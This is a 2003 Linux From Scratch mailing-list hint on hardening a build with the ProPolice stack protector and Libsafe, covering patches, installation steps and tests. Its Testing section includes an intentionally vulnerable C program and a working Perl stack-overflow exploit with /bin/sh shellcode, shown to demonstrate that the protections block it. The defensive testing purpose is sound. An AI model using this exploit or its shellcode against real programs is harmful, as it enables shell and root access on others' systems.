propolice hint

ashes cendres at videotron.ca
Tue Dec 30 04:04:38 PST 2003


Moved propolice back to its own hint :\
New optional features from IBM to use gentoo's glibc technology.
-------------- next part --------------
AUTHOR: Robert Connolly <cendres at videotron dot ca> (ashes)

DATE:   2003-12-30

LICENSE:        Public Domain

SYNOPSIS:       ProPolice and Libsafe

PRIMARY URL:	ftp://twocents.mooo.com/pub/

DESCRIPTION:
ProPolice is a C and C++ security extension for GCC.
Libsafe prevents format string attacks.

PREREQUISITES: LFS-5.0

HINT:

=======
Context
=======

	Introduction
		ProPolice in Glibc vs GCC
		CFLAGS and ProPolice
		ProPolice bugs
		Libsafe
	Downloads
	Installation
	Testing
	Feedback
	Acknowledgments

============
Introduction
============
ProPolice Smashing Stack Protector
-The good news:

Based on StackGaurd, ProPolice was developed by IBM for protecting applications
from stack smashing attacks. This is the single largest class of attacks and
many hope ProPolice will find its way into the mainstream GCC and become the
default smash guard. This protection uses the urandom device to determine the
guard value, and uses minimal time and space overhead. In practice users do not
complain about loss in system performance even when the entire system is build
with this guard.

The patch will add -fstack-protector-all, -fstack-protector, and
-fno-stack-protector to GCC extensions for C and C++; and
__guard_setup and __stack_smash_handler are defined in libgcc2.c. Programs
compiled with this which are run in chroot will need access to /dev/urandom and
for logging /dev/log. Syslog puts it in /var/log/sys.log where intrusion
detection can use it.
I have tested ProPolice on kernel 2.4 and 2.6, and Glibc linuxthreads and nptl.
It should work with any custom configuration you may have.

-The bad news:

ProPolice does not protect the heap. It was designed to trade security for
portability and performance.
Optimizing more then -O2 may optimize away things ProPolice needs.

------------------------
ProPolice in Libc vs GCC
------------------------
The official ProPolice maintainer has added support for a Gentoo Glibc stack
protector implementation. Gentoo states this patch for Glibc is to correct
static linking problems with some software, and was aided by OpenBSD developers.
The Gentoo Glibc method might be the more secure stable choice, feedback and
research is needed.

--------------------
CFLAGS and ProPolice
--------------------
The ProPolice maintainer distributes two patches. The main patch is the guts of
the code, the second patch enables -fstack-protector by default. This isn't as
ideal as -fstack-protector-all. As you will see in the Testing section below,
-fstack-protector-all protects all functions regardless of array size, while
-fstack-protector does not protect arrays of length seven or less. ProPolice
often triggers bugs in software, -fstack-protector-all causes even more. The
only bugs I have noticed so far have been with XFree86 and tool chain test
suites. The patch for X makes use of OpenBSD code in XFree86 so it builds with
ProPolice. Gentoo has also developed a script that will change the GCC spec
file, and a link is in the acknowledgments. The Glibc method causes more errors
in general. Adding -fstack-protector-all to your cflags is encouraged, but right
now I know it will cause yet more errors.

--------------
ProPolice bugs
--------------
Binutils
FAIL: bootstrap with --static
FAIL: S-records
FAIL: S-records with constructors

GCC
You only get the first two with -ftsack-protector and the GCC method.
Otherwise you get all of them. I'm looking for fixes.

FAIL: gcc.dg/asm-names.c (test for excess errors)
FAIL: gcc.dg/duff-2.c (test for excess errors)
FAIL: gcc.dg/uninit-C.c (test for excess errors)
FAIL: gcc.dg/special/gcsec-1.c (test for excess errors)
FAIL: g++.dg/tls/init-2.C
FAIL: g++.law/weak.C (test for excess errors)

--------
Libsafe
--------
-The good news:

Libsafe was developed by Avaya Labs to protect against format string
vulnerabilities. Though not widely used it has been widely tested. This
protection can be installed on an already running system, using ld.so.preload
to watch applications at runtime for functions which are known to be vulnerable.
This of course only protects dynamically linked applications. There should not
be a noticeable performance decrease, and it also logs to syslog.

-The bad news:

We get some errors if we install Libsafe early in the build.
GCC
FAIL: g++.dg/expr/anew1.C execution test
FAIL: g++.dg/expr/anew2.C execution test
FAIL: g++.dg/expr/anew3.C execution test
FAIL: g++.dg/expr/anew4.C execution test

Binutils
FAIL: S-records
FAIL: S-records with constructors

To avoid these errors we install Libsafe after gcc in chapter 6.
Other bad news is unknown.

=========
Downloads
=========
----------
ProPolice
----------
This is all available from:
ftp://twocents.mooo.com/pub/

Patches are available for GCC 2.95.3, 3.3.1, and 3.3.2.
The protector_only patches will make GCC use -fstack-protector all the time.
http://www.linuxfromscratch.org/patches/downloads/gcc/ \
        gcc-{$ver}-protector-3.patch
http://www.linuxfromscratch.org/patches/downloads/gcc/ \
        gcc-{$ver}-protector_only-3.patch

Patches are for glibc-2.3.2 and 2.3.3.
http://www.linuxfromscratch.org/patches/downloads/glibc/ \
	glibc-2.3.2-propolice-guard-functions-1.patch
http://www.linuxfromscratch.org/patches/downloads/glibc/ \
	glibc-2.3.3-propolice-guard-functions-1.patch

This patch enables the kernel to be built with -fstack-protector.
http://www.linuxfromscratch.org/patches/downloads/linux/ \
	linux-2.4.23-protector-1.patch
or
	linux-2.6.0-protector-1.patch

Use this patch when building xfree86. It will use -fno-stack-protector when
building modules.
http://www.linuxfromscratch.org/patches/downloads/XFree86/ \
        XFree86-4.3.0-protector-1.patch

--------
Libsafe
--------
Official site:
http://www.research.avayalabs.com/project/libsafe/src/libsafe-2.0-16.tgz
My mirror:
ftp://twocents.mooo.com/pub/libsafe/libsafe-2.0-16.tgz

--------------------
Full Bounds Checking
--------------------
This is an auditing tool to give verbose debugging. Applications built with this
will run like a pig. This is not intended for real world use, only for
debugging. -fbounds-checking is added to GCC extensions, and is not used by
default.
Official site:
http://web.inter.nl.net/hcc/Haj.Ten.Brugge/ \
	bounds-checking-gcc-3.3.2-1.00.patch.bz2
and
http://www.linuxfromscratch.org/patches/downloads/gcc/ \
	gcc-3.3.2-bounds-checking-1.patch

=====================
Installation
=====================

---------
Chapter 5
---------
 - GCC pass 1
If you are using the GCC method, ProPolice can be added to GCC pass one. If you
are switching methods, or using the Glibc method from a generic host, wait
until GCC pass two. If the host system is using the Glibc method, it can be
repeated in GCC pass one. If in doubt, wait until pass two.

 - Glibc
If you're using the Glibc method (recommenced) add this patch, otherwise do not.
patch -Np1 -i ../glibc-2.3.2-propolice-guard-functions-1.patch

 - GCC pass 2
You could get some errors from the tests. More for for the using Glibc method.
patch -Np1 -i ../gcc-3.3.1-protector_only-3.patch

 - Binutils
This command will get rid of make check errors if you are using the GCC method.
For some reason the errors don't go away with the Glibc method.
make CFLAGS="-fno-stack-protector -O2" CXXFLAGS="-fno-stack-protector -O2" check

---------
Chapter 6
---------
 - Glibc
No errors from make check.
patch -Np1 -i ../glibc-2.3.2-propolice-guard-functions-1.patch

 - Binutils
make CFLAGS="-fno-stack-protector -O2" CXXFLAGS="-fno-stack-protector -O2" check

 - GCC
patch -Np1 -i ../gcc-3.3.2-protector_only-3.patch

 - Libsafe
There are test exploits in the Libsafe source you should look at.
make &&
make install

 - Grub
make CFLAGS=-fno-stack-protector

 - GCC 2.95.3
The protector_only patch does not seem to work with the Glibc method.
patch -Np1 -i ../gcc-2.95.3-protector-3.patch

---------
Chapter 8
---------
Linux kernel

make mrproper &&
patch -Np1 -i ../linux-2.4.23-protector-1.patch

make menuconfig

make CC="/opt/gcc-2.95.3/bin/gcc -fstack-protector" dep
make CC="/opt/gcc-2.95.3/bin/gcc -fstack-protector" bzImage
...

========
Testing
========
The purpose of these examples is not to create havoc, but instead to help anyone
abuse their own software so they can make reports, and get them fixed, before
they are exploited. I hope to add more general ways of testing software. 

## This program overflows the stack.

cat > test-propolice.c << "EOF"
/* test-propolice.c */

#define OVERFLOW "This is longer than 10 bytes"

int main (int argc, char *argv[]) {
    char buffer[10];
    strcpy(buffer, OVERFLOW);
    return 0;
}
EOF

# Then compile and run as follows

gcc -fstack-protector -o test-propolice test-propolice.c &&
./test-propolice

# That should return this to show the guard is working.
# "stack smashing attack in function main"

# You should also see a syslog message similar to this:

# test-propolice[19961]: [ID 702911 auth.crit] stack smashing attack in function
# main

# This program segfaults and the guard ignores it.

cat > fail.c << "EOF"
#include <stdio.h>
#include <unistd.h>

int foo(char *blah) {
  char buffer[7];
  sprintf(buffer, "12345678901234567890123456789012345678901234567890");
  return(1234);
}

int main(int argc, char **argv) {
  printf("before foo()\n");
  foo("blah");
  printf("after foo()\n");
}
EOF

gcc -fstack-protector -o fail fail.c &&
./fail

# Which should return this.
# before foo()
# Segmentation fault

Now try fail.c with -fstack-protector-all.

First we run this code with no protection.
We are using -static so libsafe isn't used.

cat > foo.c << "EOF"
/* foo.c */

 #include <stdio.h>
 int main(int argc, char **argv)
 {
 char buffer[180];
 if(argc>1)
 strcpy(buffer,argv[1]);
 printf("Miam...\n");
 }
EOF

gcc -fno-stack-protector -static -o foo foo.c

cat > x.pl << "EOF"
#!/usr/bin/perl

 ### le shellcode qui execute /bin/sh
 $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 ### Return Address / ESP
 $ret = 0xbffff8a0;

 ### la taille du buffer
 $buf = 208;

 $egg = 2000;

 $nop = "\x90";

 $offset = 0;

 if (@ARGV == 1) { $offset = $ARGV[0]; }
 $addr = pack('l', ($ret + $offset));

 for ($i = 0; $i < $buf; $i += 4) {
 $buffer .= $addr;
 }

 for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++){
 $buffer .= $nop;
 }

 $buffer .= $shellcode;
 exec("./foo", $buffer,0);
EOF

Install gdb from http://ftp.gnu.org/gnu/gdb/gdb-6.0.tar.gz
Run this, add run `perl -e 'print "A"x208'`
Look for "esp 0xbffff8a0", you might have to edit x.pl for you.

$ gdb foo
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...(no debugging symbols found)...
(gdb) run `perl -e 'print "A"x208'`
Starting program: /home/ashes/LFS/export/testing/foo `perl -e
'print "A"x208'`
(no debugging symbols found)...(no debugging symbols found)...Miam...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg
eax            0x8      8
ecx            0x1fc018d2       532682962
edx            0x4014fe00       1075117568
ebx            0x4014f9e8       1075116520
esp            0xbffff8a0       0xbffff8a0
ebp            0x41414141       0x41414141
esi            0x40015020       1073827872
edi            0xbffff8e4       -1073743644
eip            0x41414141       0x41414141
eflags         0x10246  66118
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb) kill
Kill the program being debugged? (y or n) y
(gdb) quit

$ ./x.pl
Miam...
sh-2.05b$

This only demonstrates that bad code can freak out and exit to a shell.
If this code were part of a daemon running as root, or suid, it would give
root shell. The exploits in the libsafe source, and paxtest is basicly the
same as this. The paxtest ones are the most modern.

Now lets try this code with propolice.

rm foo && gcc -fstack-protector -static -o foo foo.c
gdb foo
...
run `perl -e 'print "A"x208'`
..
Starting program: /home/ashes/LFS/export/testing/foo `perl -e
'print "A"x208'`
(no debugging symbols found)...(no debugging symbols found)...Miam...
foo: stack smashing attack in function main
Program received signal SIGABRT, Aborted.
0x40047b81 in kill () from /lib/libc.so.6
(gdb)

Here we can see propolice aborted the program, and now ./x.pl also aborts.
Next we test libsafe.

rm foo && gcc -fno-stack-protector -o foo foo.c

$ ./x.pl
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/ashes/propolice/testing/foo.
    uid=1001  euid=1001  pid=742
Call stack:
    0x40018cbc  /lib/libsafe.so.2.0.16
    0x40018deb  /lib/libsafe.so.2.0.16
    0x80483a2   /home/ashes/propolice/testing/foo
    0x40039a96  /lib/libc-2.3.2.so
Overflow caused by strcpy()
Killed

And now if you want to build the PaX patch into your kernel, reboot,
and start again you will notice the first test doesn't work because
the return address keeps changing.

========
Feedback
========

<cendres at videotron dot ca>

ACKNOWLEDGMENTS:

* Thanks to Hiroaki Etoh for providing the protector patch to IBM
* Thanks to IBM for providing the protector patch at
	http://www.research.ibm.com/trl/projects/security/ssp/
* Thanks to OpenBSD for their XFree86 code. http://www.openbsd.org/
* Thanks to netsys.com for this
	http://www.netsys.com/cgi-bin/display_article.cgi?1266
* Thanks to securityfocus.com and immunix.com for this
	http://www.securityfocus.com/archive/1/333986/2003-08-17/2003-08-23/2
* Thanks to adamantix.org for kernel patches. http://www.adamantix.org/
* Thanks to Avaya Labs for Libsafe
	http://www.research.avayalabs.com/project/libsafe/
* Thanks to the Pax Team at http://pageexec.virtualave.net/
* Thanks to Teemu Tervo for nptl hint
	http://www.linuxfromscratch.org/hints/downloads/files/nptl.txt
* Thanks to cross compiling hint
	http://www.linuxfromscratch.org/hints/downloads/files/ \
		crosscompiling-x86.txt
* Thanks to http://www.isecurelabs.com/news/64 for proof of concept tests.
* Thanks to Gentoo http://www.gentoo.org/proj/en/hardened/etdyn-ssp.xml

CHANGELOG:
[2003-10-18]
* Debut
* Reformat hint
[2003-10-22]
* Reformatted the patches so they're much easier to apply.
* Edit/rewrite hint & synopsis.
[2003-10-24]
* Added caveat.
* Fixed URLS.
* Lite edit
[2003-10-25]
* New bugs found.
[2003-10-26]
* GCC 2.95.3 patches made.
[2003-10-27]
* XFree86-4.3.0 patch made.
* Hint is now Beta - Need more feedback.
[2003-11-03]
* Edit
* Reformatted patches.
[2003-11-12]
* Reformat patches.
* Update/edit hint.
* Add new example tests.
[2003-11-21]
* Reformat patches.
* Add homepage/mirror url.
* Small edit.
[2003-12-01]
* Added Glibc and kernel patches.
* Rewrote install procedure.
[2003-12-20]
* Try to be more informative.
* Removed Gentoo property.
* Added Libsafe.
* Added Pax.
* Added new versions of binutils and glibc.
* Added GCC PIE.
* Rename filename to winter.txt.
[2003-12-21]
* Do not use "Enforce non-executable pages"
* Spell check.
* Fixed URL.
[2003-12-22]
* Added LOPTS to Net-tools.
* Added LDFLAGS to Perl.
[2003-12-25]
* More cflags.
* New tests.
[2003-12-30]
* Renamed hint back to propolice.txt.
* Added back Gentoo property as optional.


More information about the hints mailing list